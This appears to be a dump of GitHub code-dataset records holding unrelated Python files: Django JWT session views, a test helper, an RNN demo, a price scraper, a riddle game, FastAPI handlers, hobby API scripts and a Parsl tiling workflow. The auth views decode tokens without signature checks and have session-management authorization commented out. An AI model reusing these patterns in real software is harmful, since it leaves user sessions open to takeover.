status=status.HTTP_200_OK)\n    \n    def get_serializer(self, **kwargs):\n        return SigninSerializer()\n\n\nclass RefreshToken(APIView):\n    \"\"\"\n    post:\n        update jti in redis and JWT.\n        \n        must be called every 15 minutes.\n    \"\"\"\n    permission_classes = [AllowAny]\n\n    def post(self, request, format=None):\n        refresh_token_ser = RefreshTokenSerializer(data=request.data)\n        refresh_token_ser.is_valid(raise_exception=True)\n        validated_data = refresh_token_ser.validated_data\n\n        refresh_token = validated_data['refresh_token']\n        token = validated_data['token']\n\n        session_key = request.META.get('HTTP_X_SESSION_KEY')\n        \n        unverified_payload = decode(token, None, False)\n\n        username = unverified_payload.get('username')\n        \n        refresh_token_dict = cache.get(f\"{username}REFRESH_TOKEN_DICT\") or {}\n\n        if session_key in refresh_token_dict:\n            token_dict = refresh_token_dict.get(session_key)\n            last_jti = token_dict.get('jti')\n\n            if unverified_payload.get('jti') != last_jti:\n                return Response({'error': 'JTI mismatch.'}, status=status.HTTP_401_UNAUTHORIZED)\n\n            if token_dict['refresh_token'] == refresh_token:\n                now = datetime.utcnow().timestamp()\n                jti = ''.join([choice(ascii_letters+digits) for i in range(32)])\n                token_dict['refreshed_at'] = now\n                token_dict['jti'] = jti\n                refresh_token_dict[session_key] = token_dict\n                token = jwt_encode_handler(username, jti, session_key)\n\n                cache.set(f\"{username}REFRESH_TOKEN_DICT\", refresh_token_dict, timeout=None)\n\n                logger.debug(f\"REFRESH user {username} token_dict {refresh_token_dict}\")\n                return Response({'token': token}, status=status.HTTP_200_OK)\n            else:\n                return Response({'detail': 'Refresh token mismatch.'}, status=status.HTTP_401_UNAUTHORIZED)\n        else:\n            return Response({'detail': 'Session expired.'}, status=status.HTTP_401_UNAUTHORIZED)\n\n    def get_serializer(self, **kwargs):\n        return RefreshTokenSerializer()\n\n\nclass VerifyToken(APIView):\n    \"\"\"\n    get:\n        just returns a 200 OK if token is fine\n    \"\"\"\n    def get(self, request):\n        return Response(status=status.HTTP_200_OK)\n\n\nclass Signout(APIView):\n    \"\"\"\n    get:\n        sings the user out from server\n    \"\"\"\n    def get(self, request, format=None):\n        session_key = request.META.get('HTTP_X_SESSION_KEY')\n        refresh_token_dict = cache.get(f\"{request.user.username}REFRESH_TOKEN_DICT\") or {}\n        try:\n            session = refresh_token_dict.pop(session_key)\n            cache.set(f\"{request.user.username}REFRESH_TOKEN_DICT\", refresh_token_dict, timeout=None)\n            logger.debug(f\"SIGNOUT user {request.user.username} at session {session}\")\n            return Response(status=status.HTTP_200_OK)\n        except KeyError:\n            return Response(status=status.HTTP_401_UNAUTHORIZED)\n\n\nclass HandleSessions(APIView):\n    \"\"\"\n    Only callable by the procom-key app.\n\n    get:\n        get active sessions of the user\n    post:\n        end an active session of the user [if session_type is from web]\n    delete:\n        drop all sessions at once\n    \"\"\"\n    def get(self, request, format=None):\n        # x_procom = request.META.get('HTTP_X_PROCOM')\n        # if x_procom:\n            refresh_token_dict = cache.get(f\"{request.user.username}REFRESH_TOKEN_DICT\") or {}\n            token_list = list(refresh_token_dict.keys())\n\n            return Response({'token_list': token_list}, status=status.HTTP_200_OK)\n        # else:\n        #     return Response(status=status.HTTP_403_FORBIDDEN)\n\n    def post(self, request, format=None):\n        # x_procom = request.META.get('HTTP_X_PROCOM')\n        # if x_procom:\n            session_key = request.data.get('session_key')\n            refresh_token_dict = cache.get(f\"{request.user.username}REFRESH_TOKEN_DICT\") or {}\n            try:\n                refresh_token_dict.pop(session_key)\n                cache.set(f\"{request.user.username}REFRESH_TOKEN_DICT\", refresh_token_dict, timeout=None)\n                logger.debug(f\"SESSION ENDED user {request.user.username} by SESSION-ID : {request.META['HTTP_X_SESSION_KEY']} of SESSION-ID : {session_key}\")\n                return Response(status=status.HTTP_200_OK)\n            except KeyError:\n                return Response(status=status.HTTP_401_UNAUTHORIZED)\n        # else:\n        #     return Response(status=status.HTTP_403_FORBIDDEN)\n\n    def delete(self, request, format=None):\n        # x_procom = request.META.get('HTTP_X_PROCOM')\n        # if x_procom:\n            cache.set(f\"{request.user.username}REFRESH_TOKEN_DICT\", {}, timeout=None)\n            return Response(status=status.HTTP_200_OK)\n        # else:\n        #     return Response(status=status.HTTP_403_FORBIDDEN)\n","repo_name":"ash2shukla/QRAuth","sub_path":"backend/procom_backend/jwt_auth/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"11017778305","text":"from unittest import TestCase\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass BaseTest(TestCase):\n\t# AssertAlmostEqual for lists.\n\tdef assertItemsAlmostEqual(self, a, b, places=4):\n\t\tif np.isscalar(a):\n\t\t\ta = [a]\n\t\telse:\n\t\t\ta = self.mat_to_list(a)\n\t\tif np.isscalar(b):\n\t\t\tb = [b]\n\t\telse:\n\t\t\tb = self.mat_to_list(b)\n\t\tfor i in range(len(a)):\n\t\t\tself.assertAlmostEqual(a[i], b[i], places)\n\t\n\t# Overriden method to assume lower accuracy.\n\tdef assertAlmostEqual(self, a, b, places=4):\n\t\tsuper(BaseTest, self).assertAlmostEqual(a, b, places=places)\n\t\n\tdef assertAlmostLeq(self, a, b, tol=1e-4):\n\t\tself.assertTrue(a - b <= tol)\n\t\n\tdef assertAlmostGeq(self, a, b, tol=1e-4):\n\t\tself.assertTrue(a - b >= -tol)\n\t\n\tdef mat_to_list(self, mat):\n\t\t\"\"\"Convert a numpy matrix to a list.\n\t\t\"\"\"\n\t\tif isinstance(mat, (np.matrix, np.ndarray)):\n\t\t\treturn np.asarray(mat).flatten('F').tolist()\n\t\telse:\n\t\t\treturn mat\n\t\n\tdef plot_cdf(self, x, *args, **kwargs):\n\t\tx_sort = np.sort(x)\n\t\tprob = np.arange(1,len(x)+1)/len(x)\n\t\thandle = plt.plot(x_sort, prob, *args, **kwargs)\n\t\tplt.ylim(0,1)\n\t\treturn handle\n\t\n\tdef plot_abline(self, slope, intercept, *args, **kwargs):\n\t\t\"\"\"Plot a line from slope and intercept\"\"\"\n\t\taxes = plt.gca()\n\t\tx_vals = np.array(axes.get_xlim())\n\t\ty_vals = intercept + slope * x_vals\n\t\tplt.plot(x_vals, y_vals, *args, **kwargs)\n","repo_name":"anqif/chancecons","sub_path":"chancecons/tests/base_test.py","file_name":"base_test.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"38"}
{"seq_id":"34327131333","text":"import torch\nimport torch.optim as optim\nimport numpy as np\n\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\nprint(device)\n\ntorch.manual_seed(777)\nif device == 'cuda':\n    torch.cuda.manual_seed_all(777)\n\n\nsentence = (\"if you want to build a ship, don't drum up people together to \"\n            \"collect wood and don't assign them tasks and work, but rather \"\n            \"teach them to long for the endless immensity of the sea.\")\n\nchar_set = list(set(sentence))\nchar_dic = {c:i for i, c in enumerate(char_set)}\n\ndic_size = len(char_dic)\nhiddend_size = len(char_dic)\nsequence_length = 10\nlearning_rate = 0.1\n\nx_data = []\ny_data = []\n\nfor i in range(0, len(sentence) - sequence_length):\n    x = sentence[i: i+sequence_length]\n    y = sentence[i+1: i+sequence_length+1]\n\n    x_data.append([char_dic[c] for c in x])\n    y_data.append([char_dic[c] for c in y])\n\nx_one_hot = [np.eye(dic_size)[x] for x in x_data]\n\n\nX = torch.FloatTensor(x_one_hot).to(device)\nY = torch.LongTensor(y_data).to(device)\n\n\n# RNN 모델\nclass Net(torch.nn.Module):\n    def __init__(self, input_dim, hidden_dim, layers):\n        super(Net, self).__init__()\n        self.rnn = torch.nn.RNN(input_dim, hidden_dim, num_layers=layers, batch_first=True)\n        # num_layers를 설정함으로써 RNN layer를 여러겹 쌓을 수 있다.\n        self.fc = torch.nn.Linear(hidden_dim, hidden_dim, bias=True)\n\n    def forward(self, x):\n        x, _status = self.rnn(x)\n        x = self.fc(x)\n        return x\n\nnet = Net(dic_size, hiddend_size, 2).to(device)\n\ncriterion = torch.nn.CrossEntropyLoss().to(device)\noptimizer = optim.Adam(net.parameters(), lr=learning_rate)\n\nfor i in range(100):\n    optimizer.zero_grad()\n    outputs = net(X)\n    loss = criterion(outputs.view(-1,dic_size), Y.view(-1))\n    loss.backward()\n    optimizer.step()\n\n    results = outputs.argmax(dim=2)\n    predict_str = ''\n\n    for j, result in enumerate(results):\n        if j==0:\n            predict_str += ''.join([char_set[t] for t in result])\n        else:\n            predict_str += char_set[result[-1]]\n\n    print(predict_str)","repo_name":"Already-Ready/pytorch_zero_to_all","sub_path":"RNN_longseq.py","file_name":"RNN_longseq.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"26532899286","text":"# py3.6\nimport re\nimport numpy as np\nimport datetime\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport urllib.request\nimport os\nimport time\nimport pandas as pd\n\n# 初始参数\nfrequency = 3 # 绘图频率（绘图间隔 = frequency * sleep_time）\nsleep_time = 300 # 每300s更新一次数据\nalpha = 0.5 # 大商和散户的权重\n\n# 汉字输出\nmpl.rcParams['font.sans-serif'] = [u'simHei']\nmpl.rcParams['axes.unicode_minus'] = False\n\n# 数据储存器\nhistory_main_price = []\nhistory_other_price = []\nhistory_time = []\n\n# 工作路径&网站\nos.chdir(r'C:\\Users\\hasee\\Desktop\\dir')\nurl = 'http://www.dd373.com/s/1xj2qx-wjm3vp-qmfpmj-0-0-0-tr1r70-0-0-0-0-su-0-512-0.html'\n\n\n# 打开URL，返回HTML信息\ndef open_url(url):\n    # 根据当前URL创建请求包\n    req = urllib.request.Request(url)\n    # 添加头信息，伪装成浏览器访问\n    req.add_header('User-Agent',\n                   'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36')\n    # 发起请求\n    response = urllib.request.urlopen(req)\n    # 返回请求到的HTML信息\n    return response.read()\n\n# 找到报价\ndef find_prices(url):\n    # 请求网页\n    html=open_url(url).decode('utf-8')\n    regex = '1元=\\d\\d...'\n    pa = re.compile(regex)\n    ma = re.findall(pa, html)\n    return ma\n\n# 求大商和个体出售者价格\ncount = 0\nwhile(1):\n    count += 1\n    main_price = []\n    other_price = []\n    price = find_prices(url)\n    for i in range(18):\n        if i <= 2:\n            main_price.append(float(price[i][3:8]))\n        else:\n            other_price.append(float(price[i][3:8]))\n    history_time.append(datetime.datetime.now().strftime('%H:%M'))\n    history_main_price.append(np.median(main_price))\n    history_other_price.append(np.median(other_price))\n\n    mix = np.dot(history_main_price, alpha) + np.dot(history_other_price, 1 - alpha)\n\n    print(\"时间: \"+ datetime.datetime.now().strftime('%H:%M'))\n    print(\"综合价格: {}\".format(mix[-1]))\n    print(\"大商价格: {}\".format(history_main_price[-1]))\n    print(\"散户价格: {}\".format(history_other_price[-1])+\"\\n\")\n\n    # 画图 & 数据保存\n    if((count % frequency) == 0):\n\n        # 数据保存\n        data = pd.DataFrame({'time': history_time, 'dashang': history_main_price, 'sanhu': history_other_price})\n        filename = datetime.datetime.now().strftime('%m%d') + '.csv'  # 按日期保存\n        if os.path.exists(filename):\n            ori_data = pd.read_csv(filename)\n            # ori_data['time'] = datetime.datetime.strptime(pd.to_datetime(ori_data['time']), \"%Y-%m-%d %H:%M\")\n            data = ori_data.append(data)\n        data.to_csv(filename, index=False)\n\n        history_time = data['time']\n        history_main_price = data['dashang']\n        history_other_price = data['sanhu']\n\n        length = len(history_time)\n        x_axis = np.linspace(0, length-1, length)\n        # 计算综合价格\n        mix = np.dot(history_main_price, alpha) + np.dot(history_other_price, 1 - alpha)\n\n\n        # 绘图1\n        plt.figure(figsize=(20, 5))\n        plt.suptitle(u\"DD373冒险岛2女王镇货币价格：{}\".format(datetime.datetime.now().strftime('%m-%d'))\n                     , fontsize=\"15\")\n\n        plt.plot(x_axis,history_main_price,label='大商价格',color='red',linewidth=1.0,linestyle='--') #默认\n        plt.plot(x_axis,history_other_price,label='散户价格',color='orange',linewidth=1.0,linestyle='--')\n        plt.plot(x_axis,mix,label='综合价格',color='blue',linewidth=1.2)\n        # 标注方法\n        plt.text(x_axis[0], mix[0]+0.35, \"1:{}w\".format(format(mix[0],\"0.2f\")))\n        plt.text(x_axis[-1], mix[-1]+0.35, \"1:{}w\".format(format(mix[-1],\"0.2f\")))\n        # 最大值&最小值\n\n        max_index = mix.argmax()\n        plt.annotate(\"max: 1:{}w\".format(format(mix[max_index],\"0.2f\")) % mix[max_index],xy=(x_axis[max_index],mix[max_index]),xycoords='data',xytext=(-30,+30),textcoords='offset points',\n                 color='red',arrowprops=dict(arrowstyle='->',color='red',connectionstyle='arc3,rad=-0.2'))\n        min_index = mix.argmin()\n        plt.annotate(\"min: 1:{}w\".format(format(mix[min_index],\"0.2f\")) % mix[min_index],xy=(x_axis[min_index],mix[min_index]),xycoords='data',xytext=(+30,-30),textcoords='offset points',\n                     color='green',arrowprops=dict(arrowstyle='->',color='green',connectionstyle='arc3,rad=-0.2'))\n\n        plt.legend(loc='upper left')\n\n        # 使x轴标签不要那么密集\n        if length>40:\n            tmp = length/20  # 分为二十份\n            tmp2 = [k * tmp for k in range(20)] # 十份的坐标\n            tmp2.append(length - 1)\n            tmp2 = np.array(tmp2).round()\n            plt.xticks(tmp2, history_time.ravel()[list(tmp2)])\n        else:\n            plt.xticks(np.arange(length), history_time)\n\n\n\n        # 保存图片\n        fig = plt.gcf()\n        tmp = datetime.datetime.now().strftime('%m%d')+ '.png'\n        fig.savefig(tmp)\n        plt.close()\n\n        history_main_price = []\n        history_other_price = []\n        history_time = []\n\n    time.sleep(sleep_time)","repo_name":"linsinan1995/Crawler-for-mxd2","sub_path":"dd373.py","file_name":"dd373.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"33572007832","text":"riddles = {\n    1 : \"Adivinanza: ¿Cómo se denomina a un perro con fiebre?\",\n    2 : \"Adivinanza: Existe un ser vivo capaz de beber agua con los pies. ¿Cuál es?\",\n    3 : \"Adivinanza: Siempre va por la tierra sin ensuciarse. ¿Qué es?\"\n}\n\nriddle_answers = {\n    1: \"Hot dog\",\n    2: \"Un arbol\",\n    3: \"La sombra\"\n}\n\ndef answer_and_validate(option):\n    answer = input(str(riddles[option]) + \" Inserta tu respuesta: \").lower()\n    if riddle_answers[option] == answer:\n        print(\"Sii, adivinaste! La opción correcta era \" + str(riddle_answers[option]))\n    else:\n        print(\"No adivinaste. La opción correcta era \" + str(riddle_answers[option]))\n\ndef run():\n    user_response = int(input(\"Juego de adivinanzas, tenes solo un intento. Elegir una opción: 1, 2 o 3: \"))\n    if user_response == 1:\n        answer_and_validate(user_response)\n    elif user_response == 2:\n        answer_and_validate(user_response)\n    elif user_response == 3:\n        answer_and_validate(user_response)\n    else:\n        print(\"Debes elegir una opción válida\")\n        run()\n\n\n\nif __name__ == \"__main__\":\n    run()","repo_name":"aylenalderete/ejercicios-python","sub_path":"riddles.py","file_name":"riddles.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"5696299161","text":"from fastapi import Request\nfrom fastapi.responses import JSONResponse\n\nfrom .exceptions import BadRequest\nfrom .exceptions import IncompatibleVersion\n\nfrom ..controller import UnknownMethodException\nfrom ..controller import InvalidMethodParamsException\n\n\n__all__ = [\n    \"incompatible_version_exception_handler\",\n    \"invalid_method_params_exception_handler\",\n    \"unknown_method_exception_handler\",\n    \"bad_request_exception_handler\",\n]\n\n\nasync def incompatible_version_exception_handler(request: Request, exc: IncompatibleVersion):\n    return JSONResponse(\n        content={\n            \"headers\": {\n                \"status_code\": 409,\n                \"detail\": \"Incompatible version of the widget.\"\n            }\n        }\n    )\n\n\nasync def bad_request_exception_handler(request: Request, exc: BadRequest):\n    return JSONResponse(\n        content={\n            \"headers\": {\n                \"status_code\": 400,\n                \"detail\": \"Bad Request.\"\n            }\n        }\n    )\n\n\nasync def invalid_method_params_exception_handler(request: Request, exc: InvalidMethodParamsException):\n    return JSONResponse(\n        content={\n            \"headers\":\n                {\n                    \"status_code\": \"410\",\n                    \"detail\": f\"Invalid method parameters method: {exc.method}; params: {exc.params}\"\n                }\n        },\n    )\n\n\nasync def unknown_method_exception_handler(request: Request, exc: UnknownMethodException):\n    return JSONResponse(\n        content={\n            \"headers\":\n                {\n                    \"status_code\": \"404\",\n                    \"detail\": f\"Unknown method: {exc.method}\"\n                }\n        },\n    )\n","repo_name":"iqtek/amocrm_asterisk_ng","sub_path":"asterisk_ng/plugins/crm_system/amocrm/widgets/asterisk_ng/fastapi/exception_handlers.py","file_name":"exception_handlers.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"72760259312","text":"\"\"\"\n    ¿Con cuántas especies de pokémon puede procrear raichu? (2 Pokémon pueden\n    procrear si están dentro del mismo egg group). Tu respuesta debe ser un número.\n    Recuerda eliminar los duplicados.\n\"\"\"\nimport requests\n\n\ndef number_species(name):\n    no_egg_group = 1\n\n    while no_egg_group < 16:\n\n        url = 'http://pokeapi.co/api/v2/egg-group/' + str(no_egg_group)\n\n        response = requests.get(url)\n\n        if response.status_code == 200:\n            payload = response.json()\n            pokemons = payload['pokemon_species']\n\n            for species in pokemons:\n\n                if name in species['name']:\n                    print(len(pokemons) - 1)\n                    return\n\n        no_egg_group += 1\n\n\nif __name__ == '__main__':\n    number_species(name='raichu')\n","repo_name":"AMIRANDA9112/Pokemon","sub_path":"two.py","file_name":"two.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"42336703020","text":"import time\nimport datetime\nfrom pyminder.pyminder import Pyminder\n\ndef main():\n    break_start = datetime.datetime(2019,12,23)\n    break_end = datetime.datetime(2019,12,28)\n    enable_breaks(break_start, break_end)\n\ndef token():\n    return open(\"token.secret\").read()\n\ndef enable_breaks(break_start, break_end):\n    pyminder = Pyminder(user='[your username - dummy field]', token=token())\n\n    goals = pyminder.get_goals()\n\n    print(\"Hello,\")\n    print(\"\")\n    print(\"Sadly, it is too late for me to enable a break manually.\")\n    print(\"I need to request a manual break override - from \", break_start.date(), \"to\", break_end.date(), \"for following goals:\")\n    print(\"\")\n    for goal in goals:\n        # Goal objects expose all API data as dynamic properties.\n        # http://api.beeminder.com/#attributes-2\n\n        # https://stackoverflow.com/a/46090618/4130619\n        ep = datetime.datetime(1970,1,1,0,0,0)\n        x = (break_end - ep).total_seconds()\n        needed = goal.get_needed(x)\n        if needed > 0:\n            print(goal.slug)\n            #print(goal.title)\n            #print(goal.fineprint)\n            #print(goal.losedate) # unix timestamp\n\n\n        # Goal objects also implement a handful of helper functions.\n        # Note: These functions probably contain bugs! Issues & pull requests welcome.\n        # https://github.com/narthur/pyminder/blob/master/pyminder/goal.py\n        now = time.time()\n        sum_ = goal.get_data_sum(now)\n        needed = goal.get_needed(now)\n\nmain()","repo_name":"matkoniecz/beeminder_break","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"32276030456","text":"# test docker image and orchestrate containers\n# with kubernetes by running a minimum version of \n# the workflow with a kubernetes parsl config\n\n# documentation for parsl config: https://parsl.readthedocs.io/en/stable/userguide/configuring.html#kubernetes-clusters\n\n\nfrom datetime import datetime\nimport json\nimport logging\nimport logging.handlers\nimport os\n\nimport pdgstaging\nimport pdgraster\n\nimport parsl\nfrom parsl import python_app\nfrom parsl.config import Config\nfrom parsl.executors import HighThroughputExecutor\nfrom parsl.providers import KubernetesProvider\nfrom parsl.addresses import address_by_route\n#from kubernetes import client, config # NOTE: might need to import this? not sure\nfrom parsl_config import config_parsl_cluster\n\nimport shutil\n\n\n# call parsl config and initiate k8s cluster\n# TODO: change image to my image built from Dockerfile in this repo\nparsl.set_stream_logger()\nhtex_kube = config_parsl_cluster(max_blocks=5, image='ghcr.io/mbjones/k8sparsl:0.3', namespace='pdgrun')\nparsl.load(htex_kube)\n\n\n# start with a fresh directory!\nprint(\"Removing old directories and files...\")\nold_filepaths = [\"/Users/jcohen/Documents/docker/repositories/docker_python_basics/app/staging_summary.csv\",\n                \"/Users/jcohen/Documents/docker/repositories/docker_python_basics/app/raster_summary.csv\",\n                \"/Users/jcohen/Documents/docker/repositories/docker_python_basics/app/raster_events.csv\",\n                \"/Users/jcohen/Documents/docker/repositories/docker_python_basics/app/config__updated.json\",\n                \"/Users/jcohen/Documents/docker/repositories/docker_python_basics/app/log.log\"]\nfor old_file in old_filepaths:\n  if os.path.exists(old_file):\n      os.remove(old_file)\n\n# remove dirs from past run\nold_dirs = [\"/Users/jcohen/Documents/docker/repositories/docker_python_basics/app/staged\",\n            \"/Users/jcohen/Documents/docker/repositories/docker_python_basics/app/geotiff\",\n            \"/Users/jcohen/Documents/docker/repositories/docker_python_basics/app/web_tiles\"]\nfor old_dir in old_dirs:\n  if os.path.exists(old_dir) and os.path.isdir(old_dir):\n      shutil.rmtree(old_dir)\n\n\n# configure logger\nlogger = logging.getLogger(\"logger\")\n# Remove any existing handlers from the logger\nfor handler in logger.handlers[:]:\n    logger.removeHandler(handler)\n# prevent logging statements from being printed to terminal\nlogger.propagate = False\n# set up new handler\nhandler = logging.FileHandler(\"/tmp/log.log\")\nformatter = logging.Formatter(logging.BASIC_FORMAT)\nhandler.setFormatter(formatter)\nlogger.addHandler(handler)\nlogger.setLevel(logging.INFO)\n\n# define input data for lake size change dataset\nlc = \"test_polygons.gpkg\"\n# data input sample, with ~370 GB and 6 files: \n# /var/data/submission/pdg/nitze_lake_change/data_2022-11-04/lake_change_GD_cleaned/cleaned_files/data_products_32635-32640\n# data input sample with ~750 MB and 10 files:\n# /var/data/submission/pdg/nitze_lake_change/data_2022-11-04/lake_change_GD_cleaned/cleaned_files/data_products_32651-32660/\n\n\ndef run_pdg_workflow(\n    workflow_config,\n    batch_size = 300\n):\n    \"\"\"\n    Run the main PDG workflow for the following steps:\n    1. staging\n    2. raster highest\n    3. raster lower\n    4. web tiling\n\n    Parameters\n    ----------\n    workflow_config : dict\n        Configuration for the PDG staging workflow, tailored to rasterization and \n        web tiling steps only.\n    batch_size: int\n        How many staged files, geotiffs, or web tiles should be included in a single creation\n        task? (each task is run in parallel) Default: 300\n    \"\"\"\n\n    start_time = datetime.now()\n\n    logging.info(\"Staging initiated.\")\n\n    stager = pdgstaging.TileStager(workflow_config)\n    #tile_manager = rasterizer.tiles\n    tile_manager = stager.tiles\n    config_manager = stager.config\n\n    input_paths = stager.tiles.get_filenames_from_dir('input')\n    input_batches = make_batch(input_paths, batch_size)\n\n    # Stage all the input files (each batch in parallel)\n    app_futures = []\n    for i, batch in enumerate(input_batches):\n        app_future = stage(batch, workflow_config)\n        app_futures.append(app_future)\n        logging.info(f'Started job for batch {i} of {len(input_batches)}')\n\n    # Don't continue to next step until all files have been staged\n    [a.result() for a in app_futures]\n\n    logging.info(\"Staging complete.\")\n\n    # ----------------------------------------------------------------\n\n    # Create highest geotiffs \n    rasterizer = pdgraster.RasterTiler(workflow_config)\n\n    # Process staged files in batches\n    logging.info(f'Collecting staged file paths to process...')\n    staged_paths = tile_manager.get_filenames_from_dir('staged')\n    logging.info(f'Found {len(staged_paths)} staged files to process.')\n    staged_batches = make_batch(staged_paths, batch_size)\n    logging.info(f'Processing staged files in {len(staged_batches)} batches.')\n\n    app_futures = []\n    for i, batch in enumerate(staged_batches):\n        app_future = create_highest_geotiffs(batch, workflow_config)\n        app_futures.append(app_future)\n        logging.info(f'Started job for batch {i} of {len(staged_batches)}')\n\n    # Don't move on to next step until all geotiffs have been created\n    [a.result() for a in app_futures]\n\n    logging.info(\"Rasterization highest complete. Rasterizing lower z-levels.\")\n\n    # ----------------------------------------------------------------\n\n    # Rasterize composite geotiffs\n    min_z = config_manager.get_min_z()\n    max_z = config_manager.get_max_z()\n    parent_zs = range(max_z - 1, min_z - 1, -1)\n\n    # Can't start lower z-level until higher z-level is complete.\n    for z in parent_zs:\n\n        # Determine which tiles we need to make for the next z-level based on the\n        # path names of the geotiffs just created\n        logging.info(f'Collecting highest geotiff paths to process...')\n        child_paths = tile_manager.get_filenames_from_dir('geotiff', z = z + 1)\n        logging.info(f'Found {len(child_paths)} highest geotiffs to process.')\n        # create empty set for the following loop\n        parent_tiles = set()\n        for child_path in child_paths:\n            parent_tile = tile_manager.get_parent_tile(child_path)\n            parent_tiles.add(parent_tile)\n        # convert the set into a list\n        parent_tiles = list(parent_tiles)\n\n        # Break all parent tiles at level z into batches\n        parent_tile_batches = make_batch(parent_tiles, batch_size)\n        logging.info(f'Processing highest geotiffs in {len(parent_tile_batches)} batches.')\n\n        # Make the next level of parent tiles\n        app_futures = []\n        for parent_tile_batch in parent_tile_batches:\n            app_future = create_composite_geotiffs(\n                parent_tile_batch, workflow_config)\n            app_futures.append(app_future)\n\n        # Don't start the next z-level, and don't move to web tiling, until the\n        # current z-level is complete\n        [a.result() for a in app_futures]\n\n    logging.info(\"Composite rasterization complete. Creating web tiles.\")\n\n    # ----------------------------------------------------------------\n\n    # Process web tiles in batches\n    logging.info(f'Collecting file paths of geotiffs to process...')\n    geotiff_paths = tile_manager.get_filenames_from_dir('geotiff')\n    logging.info(f'Found {len(geotiff_paths)} geotiffs to process.')\n    geotiff_batches = make_batch(geotiff_paths, batch_size)\n    logging.info(f'Processing geotiffs in {len(geotiff_batches)} batches.')\n\n    app_futures = []\n    for i, batch in enumerate(geotiff_batches):\n        app_future = create_web_tiles(batch, workflow_config)\n        app_futures.append(app_future)\n        logging.info(f'Started job for batch {i} of {len(geotiff_batches)}')\n\n    # Don't record end time until all web tiles have been created\n    [a.result() for a in app_futures]\n\n    end_time = datetime.now()\n    logging.info(f'⏰ Total time to create all z-level geotiffs and web tiles: '\n                 f'{end_time - start_time}')\n\n# ----------------------------------------------------------------\n\n# Define the parsl functions used in the workflow:\n\n@python_app\ndef stage(paths, config):\n    \"\"\"\n    Stage a file\n    \"\"\"\n    from datetime import datetime\n    import json\n    import logging\n    import logging.handlers\n    import os\n    import pdgstaging\n\n    # configure logger:\n    logger = logging.getLogger(\"logger\")\n    # Remove any existing handlers from the logger\n    for handler in logger.handlers[:]:\n        logger.removeHandler(handler)\n    # prevent logging statements from being printed to terminal\n    logger.propagate = False\n    # set up new handler\n    handler = logging.FileHandler(\"/tmp/log.log\")\n    formatter = logging.Formatter(logging.BASIC_FORMAT)\n    handler.setFormatter(formatter)\n    logger.addHandler(handler)\n    logger.setLevel(logging.INFO)\n\n    stager = pdgstaging.TileStager(config = config, check_footprints = False)\n    for path in paths:\n        stager.stage(path)\n    return True\n\n# Create highest z-level geotiffs from staged files\n@python_app\ndef create_highest_geotiffs(staged_paths, config):\n    \"\"\"\n    Create a batch of geotiffs from staged files\n    \"\"\"\n    from datetime import datetime\n    import json\n    import logging\n    import logging.handlers\n    import os\n    import pdgraster\n\n    # configure logger:\n    logger = logging.getLogger(\"logger\")\n    # Remove any existing handlers from the logger\n    for handler in logger.handlers[:]:\n        logger.removeHandler(handler)\n    # prevent logging statements from being printed to terminal\n    logger.propagate = False\n    # set up new handler\n    handler = logging.FileHandler(\"/tmp/log.log\")\n    formatter = logging.Formatter(logging.BASIC_FORMAT)\n    handler.setFormatter(formatter)\n    logger.addHandler(handler)\n    logger.setLevel(logging.INFO)\n\n    # rasterize the vectors, highest z-level only\n    rasterizer = pdgraster.RasterTiler(config)\n    return rasterizer.rasterize_vectors(\n        staged_paths, make_parents = False)\n    # no need to update ranges because manually set val_range in config\n\n# ----------------------------------------------------------------\n\n# Create composite geotiffs from highest z-level geotiffs \n@python_app\ndef create_composite_geotiffs(tiles, config):\n    \"\"\"\n    Create a batch of composite geotiffs from highest geotiffs\n    \"\"\"\n    from datetime import datetime\n    import json\n    import logging\n    import logging.handlers\n    import os\n    import pdgraster\n\n    # configure logger:\n    logger = logging.getLogger(\"logger\")\n    # Remove any existing handlers from the logger\n    for handler in logger.handlers[:]:\n        logger.removeHandler(handler)\n    # prevent logging statements from being printed to terminal\n    logger.propagate = False\n    # set up new handler\n    handler = logging.FileHandler(\"/tmp/log.log\")\n    formatter = logging.Formatter(logging.BASIC_FORMAT)\n    handler.setFormatter(formatter)\n    logger.addHandler(handler)\n    logger.setLevel(logging.INFO)\n\n    rasterizer = pdgraster.RasterTiler(config)\n    return rasterizer.parent_geotiffs_from_children(\n        tiles, recursive = False)\n\n# ----------------------------------------------------------------\n\n# Create a batch of webtiles from geotiffs\n@python_app\ndef create_web_tiles(geotiff_paths, config):\n    \"\"\"\n    Create a batch of webtiles from geotiffs\n    \"\"\"\n\n    from datetime import datetime\n    import json\n    import logging\n    import logging.handlers\n    import os\n    import pdgraster\n\n    # configure logger:\n    logger = logging.getLogger(\"logger\")\n    # Remove any existing handlers from the logger\n    for handler in logger.handlers[:]:\n        logger.removeHandler(handler)\n    # prevent logging statements from being printed to terminal\n    logger.propagate = False\n    # set up new handler\n    handler = logging.FileHandler(\"/tmp/log.log\")\n    formatter = logging.Formatter(logging.BASIC_FORMAT)\n    handler.setFormatter(formatter)\n    logger.addHandler(handler)\n    logger.setLevel(logging.INFO)\n\n    rasterizer = pdgraster.RasterTiler(config)\n    return rasterizer.webtiles_from_geotiffs(\n        geotiff_paths, update_ranges = False)\n        # no need to update ranges because the range is [1,4] for\n        # all z-levels, and is defined 